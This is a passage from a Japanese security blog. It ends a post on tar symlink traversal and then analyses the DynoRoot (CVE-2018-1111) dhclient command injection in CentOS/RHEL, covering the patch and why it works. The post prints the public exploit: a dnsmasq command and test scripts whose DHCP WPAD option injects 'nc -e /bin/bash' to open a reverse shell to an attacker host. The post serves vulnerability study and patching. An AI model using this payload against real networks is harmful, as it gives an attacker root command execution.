  4. その中にdataを書き込む
  5. リンクされた先(上記では /tmp/moo )に書き込まれる

ポイントとしてはnameとdataが分離されて保存されているところかと思います。同じnameでopen処理をすると最初に作られたファイルがopenされてしまいそこにdataが書き込まれる、というのが分かれば特に難しい脆弱性ではありません。分かれば簡単、といういつものパターンです。

雑に言えばmooというファイルにfooって書き込もうとしたら、既にmooが存在していて /tmp/mooシンボリックリンクがはられていたので、そっちにfooが書き込まれてしまった、というイメージですね。

$ ln -s /tmp/moo moo
$ echo foo > moo
$ cat /tmp/moo
foo

まとめ

tarを解凍するときにディレクトリトラバーサルできるという脆弱性について調べました。 シンボリックリンクと同じファイル名でアーカイブしておくと、その内容がシンボリックリンクの先に書き込まれます。

実際にモジュールを動かしながら検証すると色々気づきがあって面白かったです。 最初に脆弱性概要を見たときにはぱっとイメージが沸かなかったので、今回少し賢くなりました。

DynoRoot (CVE-2018-1111) について調べてみた

DynoRoot (CVE-2018-1111) という脆弱性が公開されていたので調べてみました。 公開された日は時間取れませんでしたが、昨日は少し時間あったので試したりしました。 業務としてやってるわけじゃないので隙間時間にちょっとずつ進めた感じです。

概要

Red Hat Enterprise Linux 6/7に影響するCVE-2018-1111という脆弱性が公表されました。

CVE-2018-1111 - Red Hat Customer Portal

dhclientがNetworkManagerに提供しているスクリプト脆弱性があったようです。 DHCPクライアントの脆弱性になります。 DHCPクライアントがDHCPサーバから受け取ったDHCPのオプションを処理する際にバグが有り、任意コマンド実行が可能になっています。 NetworkManagerの権限で実行されるため、root権限での実行になります。

攻撃するためにはDHCPサーバになりすます必要があり(同一セグメントにいて正規のDHCPサーバより早く応答することでも攻撃可能)、攻撃可能なのは隣接ネットワークからになるため危険度は低いかなと思っています。 ですが環境によっては致命的なこともあると思いますので、各種情報を確認して判断して下さい。

セキュリティアップデートが公開済みなので、パッチを適用することで脆弱性を回避可能です。 変更は1行のみなので影響が出ることもないかと思います。 修正済みのバージョンについては上記URLからアドバイザリを確認して下さい。

詳細

ということで攻撃を試しつつ今回の脆弱性について見ていきます。

環境

RedHatという高尚なものは持っていないのでCentOSで試しました。 基本的に利用しているスクリプトは一緒だし動くだろーと思って雑に試したら動いた感じです。 CentOS 6系では異なると思いますが、基本的に以下ではCentOS 7で解説しています。

パッチ

CentOSのものになりますが、今回の修正は以下になります。

rpms/dhcp.git - git.centos.org

11-dhclientというファイルの

while read opt; do

の箇所を

while read -r opt; do

に変えただけですね。1行どころか2文字足しただけです。

11-dhclientはどこにあるかというと以下です。

# cat /etc/NetworkManager/dispatcher.d/11-dhclient
#!/bin/bash
# run dhclient.d scripts in an emulated environment

PATH=/bin:/usr/bin:/sbin
SAVEDIR=/var/lib/dhclient
ETCDIR=/etc/dhcp
interface=$1

eval "$(
declare | LC_ALL=C grep '^DHCP4_[A-Z_]*=' | while read opt; do
    optname=${opt%%=*}
    optname=${optname,,}
    optname=new_${optname#dhcp4_}
    optvalue=${opt#*=}
    echo "export $optname=$optvalue"
done
)"
...snip...

該当箇所はevalの中のようです。

Exploit

上記を頭に入れた上でExploitを見てみます。 Twitterで公開している人がいました。

こんなのよくシュッと出してくるなーという気持ちですが、とりあえず本体は以下のコマンドのようです。

$ dnsmasq --interface=eth0 --bind-interfaces  --except-interface=lo --dhcp-range=10.1.1.1,10.1.1.10,1h --conf-file=/dev/null --dhcp-option=6,10.1.1.1 --dhcp-option=3,10.1.1.1 --dhcp-option="252,x'&nc -e /bin/bash 10.1.1.1 1337 #"

dhcp-optionのところでコマンドが指定されています。

これを実際に試してみますが、説明が面倒なので例によって環境を作って置いておきました。 試したい人はどうぞ。

github.com

まとめると、victimなCentOSからdhcpIPアドレスを取りに行く時に、attackerが悪意のあるdhcp-optionを指定して応答すると任意コマンドが実行される、という流れになります。 ネットワーク関連の設定で色々ハマりやすいのでdocker-compose upで出来るようにしておきました。

詳細

先程のevalの中を見てみます。 declare コマンドでシェルの変数を全て表示して DHCP4_ から始まるものをreadしてwhileの中に渡しています。

このスクリプト内でdeclareの結果をdumpしてみると以下のようになります。 ちなみにこの変数がどこで定義されているかまでは調べてないので誰かの報告を待ちます。

DHCP4_BROADCAST_ADDRESS=10.10.0.255
DHCP4_DHCP_LEASE_TIME=3600
DHCP4_DHCP_MESSAGE_TYPE=5
DHCP4_DHCP_REBINDING_TIME=3150
DHCP4_DHCP_RENEWAL_TIME=1800
DHCP4_DHCP_SERVER_IDENTIFIER=10.10.0.3
DHCP4_DOMAIN_NAME_SERVERS=10.10.0.1
DHCP4_EXPIRY=1526609756
DHCP4_HOST_NAME=victim
DHCP4_IP_ADDRESS=10.10.0.11
DHCP4_NETWORK_NUMBER=10.10.0.0
DHCP4_NEXT_SERVER=10.10.0.3
DHCP4_REQUESTED_BROADCAST_ADDRESS=1
DHCP4_REQUESTED_CLASSLESS_STATIC_ROUTES=1
DHCP4_REQUESTED_DOMAIN_NAME=1
DHCP4_REQUESTED_DOMAIN_NAME_SERVERS=1
DHCP4_REQUESTED_DOMAIN_SEARCH=1
DHCP4_REQUESTED_HOST_NAME=1
DHCP4_REQUESTED_INTERFACE_MTU=1
DHCP4_REQUESTED_MS_CLASSLESS_STATIC_ROUTES=1
DHCP4_REQUESTED_NIS_DOMAIN=1
DHCP4_REQUESTED_NIS_SERVERS=1
DHCP4_REQUESTED_NTP_SERVERS=1
DHCP4_REQUESTED_RFC3442_CLASSLESS_STATIC_ROUTES=1
DHCP4_REQUESTED_ROUTERS=1
DHCP4_REQUESTED_STATIC_ROUTES=1
DHCP4_REQUESTED_SUBNET_MASK=1
DHCP4_REQUESTED_TIME_OFFSET=1
DHCP4_REQUESTED_WPAD=1
DHCP4_ROUTERS=10.10.0.1
DHCP4_SUBNET_MASK=255.255.255.0
DHCP4_WPAD=foo

--dhcp-option として渡した値が変数として定義されています。 --dhcp-option の252はWPADの設定になるので、WPADのところを見てみると以下のようになっています。 これは攻撃じゃなく普通の値を渡した場合になります。

DHCP4_WPAD=foo

ではExploitの値を指定した場合と比較しましょう。

DHCP4_WPAD='yarrak\'\''\&nc -e /bin/bash 10.10.0.3 1337 #'

途中にシングルクォートが入っています。 結論から言えば、このシングルクォートでexportから抜け出してコマンドが実行されています。

先程のevalから見にくいのでevalを削ったスクリプトを作って実行してみます。

$ cat vuln.sh
#!/bin/bash

DHCP4_WPAD='yarrak\'\''\&nc -e /bin/bash 10.10.0.3 1337 #'
declare | LC_ALL=C grep '^DHCP4_[A-Z_]*=' | while read opt; do
    optname=${opt%%=*}
    optname=${optname,,}
    optname=new_${optname#dhcp4_}
    optvalue=${opt#*=}
    echo "export $optname=$optvalue"
done

これを実行すると以下のようになります。

$ ./vuln.sh
export new_wpad='yarrak'''&nc -e /bin/bash 10.10.0.3 1337 #'

実際のスクリプトでは、この結果をさらに$()で囲ってevalしています。 つまり簡潔に書けば以下になります。

$ eval "$(echo "export new_wpad='yarrak'''&nc -e /bin/bash 10.10.0.3 1337 #'")"

これはシングルクォートでexportが閉じているため、exportコマンドとncコマンドの2つが実行されます。 この2つめを自由に指定できるため、任意コマンド実行が可能ということになります。

yarrakの後ろの1つめのシングルクォートで一旦閉じて、2つめのシングルクォートも3つめのシングルクォートで閉じて、単に文字列連結になって終了という感じです。

以下とかを見ると分かりやすいかもしれません。

$ export new_wpad='yarrak''a'
$ echo $new_wpad
yarraka

ちなみにexportしたあとを & にしてますが、 ; とかでも良いです。というかこういう時に & でいけるんだな、という感じでした。 バックグラウンド実行するときは一番最後に & 置いてましたが、途中に置いても区切りとして認識されて次のコマンドが実行されるんですね。

あと nc -e もめっちゃ便利ですね。。ただ危険だからか、標準で入ってるやつには -e オプションなかったので攻撃に使えない場合もあるかもしれません。

ということで攻撃の概要としては以上です。

次に修正後について見てみます。

$ cat fixed.sh
#!/bin/bash

DHCP4_WPAD='yarrak\'\''\;nc -e /bin/bash 10.10.0.3 1337 #'
declare | LC_ALL=C grep '^DHCP4_[A-Z_]*=' | while read opt; do
    optname=${opt%%=*}
    optname=${optname,,}
    optname=new_${optname#dhcp4_}
    optvalue=${opt#*=}
    echo "export $optname=$optvalue"
done
$ ./fixed.sh
export new_wpad='yarrak\'\'';nc -e /bin/bash 10.10.0.3 1337 #'

-r がついているので、バックスラッシュがそのままになっています。 これをevalしてみます。

$ eval "$(echo "export new_wpad='yarrak\'\'';nc -e /bin/bash 10.10.0.3 1337 #'")"
$ declare
...
_='export new_wpad='\''yarrak\'\''\'\'''\'';nc -e /bin/bash 10.10.0.3 1337 #'\'''
...

シングルクォートを抜けられず後ろのコマンドも変数に入ってしまっています。 ですが、bashでシングルクォートのエスケープしたことある方はご存知かと思いますが、あまり単純な話ではありません。

以下はうまくいきません。

$ echo 'abc\'def'

正しくエスケープするためには一旦閉じて、 \'エスケープしたあと文字列を再開する必要があります。

$ echo 'abc'\''def'

これを踏まえて上を見るとyarakのあとのバックスラッシュは無視されて、次のシングルクォートで一旦文字列が閉じます。 次に \' によってシングルクォートになります。 そして次のシングルクォートで文字列が再開され、仕込んだコマンドは文字列の中に入ってしまいます。

このようにシングルクォートを抜けられなくなったため、コマンドが実行されなくなりました。

とはいえ、何か複雑なので頑張れば抜けられるのでは...?という気持ちも少しあります。

まとめ

DynoRoot (CVE-2018-1111) について調査しました。 root権限で任意コマンド実行可能ですが、DHCPの応答として悪意あるパケットを返す必要があり、一般的な構成であればネットワークの外から攻撃可能ではないはずなので危険度は低めかなと思っています。 実際に試したら簡単に成功しました(環境を準備するのは大変だったけど)。 evalはやはり危険だなーという気持ちです。